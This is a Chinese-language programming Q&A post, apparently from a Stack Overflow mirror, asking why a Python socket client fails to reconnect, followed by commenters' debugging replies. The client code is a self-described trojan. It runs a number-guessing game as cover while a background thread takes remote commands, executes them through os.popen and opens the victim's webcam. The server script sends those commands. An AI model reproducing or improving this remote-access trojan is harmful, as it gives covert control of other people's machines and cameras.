【发布时间】:2021-04-08 07:31:16
【问题描述】:
为了运行我的代码,我需要在 client.py 之前运行 server.py 才能连接。我想让它在两个方向上都起作用,这样先发生什么都没关系。我设置了 try 和 except 块,但仍然收到 ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it 错误。
这是我的client.py:
import random
import socket
import threading
import sys
import os
from os import system, name
from time import sleep
import cv2
def commands():
cmd_mode = False
# Commands for the trojan
if command == 'cmdon':
cmd_mode = True
client.send(
'You now have terminal access!'.encode('utf-8'))
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
else:
if command == 'webcam':
cap = cv2.VideoCapture(0)
while True:
ret, frame = cap.read()
cv2.imshow('WebCam (Press enter to exit)', frame)
if cv2.waitKey(1) & 0xFF == ord(' '):
break
cap.release()
cv2.destroyAllWindows()
client.send(
f'{command} was exectued successfully!'.encode('utf-8'))
def access():
HOST = '127.0.0.1'
PORT = 22262
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
client.connect((HOST, PORT))
commands()
except Exception:
client.connect((HOST, PORT))
commands()
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries += 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
这是我的 server.py
import socket
from os import system, name
def clear():
if name == 'nt':
_ = system('cls')
HOST = ''
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
server.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
我的代码有什么问题?为什么except 块不处理错误并尝试重新连接?
【问题讨论】:
-
在 except 块中没有正确调用命令函数
-
怎么回事?你能解释一下吗?
-
在 access() 函数内部,在 except 块中,您将其称为命令而不是命令()。
-
修复了这个问题,但我仍然遇到同样的错误
-
问题是当你调用 commands() 函数时,它会将控制切换到命令函数。命令功能中是否出现任何错误?您能否准确分享您收到的错误信息?
标签: python python-3.x sockets server client